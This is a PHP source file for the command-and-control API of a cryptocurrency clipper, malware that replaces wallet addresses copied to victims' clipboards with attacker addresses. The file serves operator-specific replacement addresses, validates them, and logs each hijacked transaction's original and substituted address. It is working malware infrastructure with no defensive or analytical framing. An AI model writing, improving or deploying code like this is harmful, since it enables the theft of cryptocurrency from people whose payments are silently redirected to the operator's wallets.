<?php
header('Content-Type: application/json');

// Database connection
include("config.php");

// Enable error reporting for debugging
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Debug log function
function debug_log($message) {
    error_log("[CryptoClipper API] " . $message);
}

// API Authentication
function authenticate_request() {
    $headers = getallheaders();
    debug_log("Received headers: " . print_r($headers, true));
    
    // Check for API key in different case variations
    $api_key = null;
    foreach ($headers as $key => $value) {
        if (strtolower($key) === 'x-api-key') {
            $api_key = $value;
            break;
        }
    }
    
    if (!$api_key) {
        debug_log("No API key found in headers");
        return false;
    }
    
    global $condb;
    $api_key = mysqli_real_escape_string($condb, $api_key);
    debug_log("Checking API key: " . substr($api_key, 0, 10) . "...");
    
    $check = mysqli_query($condb, "SELECT username FROM users WHERE api_key = '".$api_key."'");
    $result = mysqli_num_rows($check) > 0;
    
    debug_log("API key validation result: " . ($result ? "valid" : "invalid"));
    return $result;
}

// Handle different API endpoints
$endpoint = isset($_GET['endpoint']) ? $_GET['endpoint'] : '';

if (!authenticate_request()) {
    http_response_code(401);
    echo json_encode(['error' => 'Unauthorized']);
    exit;
}

switch ($endpoint) {
    case 'get_addresses':
        // Get all crypto addresses for the authenticated user
        $api_key = null;
        foreach (getallheaders() as $key => $value) {
            if (strtolower($key) === 'x-api-key') {
                $api_key = $value;
                break;
            }
        }
        
        $username = mysqli_fetch_assoc(mysqli_query($condb, "SELECT username FROM users WHERE api_key = '".mysqli_real_escape_string($condb, $api_key)."'"))['username'];
        debug_log("Fetching addresses for user: " . $username);
        
        $addresses_query = mysqli_query($condb, "SELECT coin, address FROM crypto_addresses WHERE username = '".$username."'");
        
        $addresses = [];
        while ($row = mysqli_fetch_assoc($addresses_query)) {
            if (!empty($row['coin']) && !empty($row['address'])) {
                $addresses[$row['coin']] = $row['address'];
            }
        }
        
        debug_log("Found " . count($addresses) . " addresses");
        echo json_encode($addresses); // Return just the addresses object
        break;
        
    case 'validate_address':
        // Validate if an address exists for a specific coin
        if (!isset($_POST['coin']) || !isset($_POST['address'])) {
            http_response_code(400);
            echo json_encode(['error' => 'Missing parameters']);
            exit;
        }
        
        $coin = mysqli_real_escape_string($condb, $_POST['coin']);
        $address = mysqli_real_escape_string($condb, $_POST['address']);
        $username = mysqli_fetch_assoc(mysqli_query($condb, "SELECT username FROM users WHERE api_key = '".mysqli_real_escape_string($condb, getallheaders()['X-API-Key'])."'"))['username'];
        
        $check = mysqli_query($condb, "SELECT address FROM crypto_addresses WHERE username = '".$username."' AND coin = '".$coin."'");
        
        if (mysqli_num_rows($check) > 0) {
            $stored_address = mysqli_fetch_assoc($check)['address'];
            echo json_encode([
                'status' => 'success',
                'is_valid' => ($address === $stored_address)
            ]);
        } else {
            echo json_encode([
                'status' => 'success',
                'is_valid' => false
            ]);
        }
        break;
        
    case 'log_clip':
        // Log successful clipboard replacements
        if (!isset($_POST['coin']) || !isset($_POST['original_address']) || !isset($_POST['replaced_address'])) {
            http_response_code(400);
            echo json_encode(['error' => 'Missing parameters']);
            exit;
        }
        
        $coin = mysqli_real_escape_string($condb, $_POST['coin']);
        $original = mysqli_real_escape_string($condb, $_POST['original_address']);
        $replaced = mysqli_real_escape_string($condb, $_POST['replaced_address']);
        $username = mysqli_fetch_assoc(mysqli_query($condb, "SELECT username FROM users WHERE api_key = '".mysqli_real_escape_string($condb, getallheaders()['X-API-Key'])."'"))['username'];
        
        $log = $condb->prepare("INSERT INTO clipper_logs (username, coin, original_address, replaced_address, timestamp) VALUES (?, ?, ?, ?, NOW())");
        $log->bind_param("ssss", $username, $coin, $original, $replaced);
        
        if ($log->execute()) {
            echo json_encode(['status' => 'success']);
        } else {
            http_response_code(500);
            echo json_encode(['error' => 'Failed to log clip']);
        }
        break;
        
    default:
        http_response_code(404);
        echo json_encode(['error' => 'Endpoint not found']);
        break;
}
?> 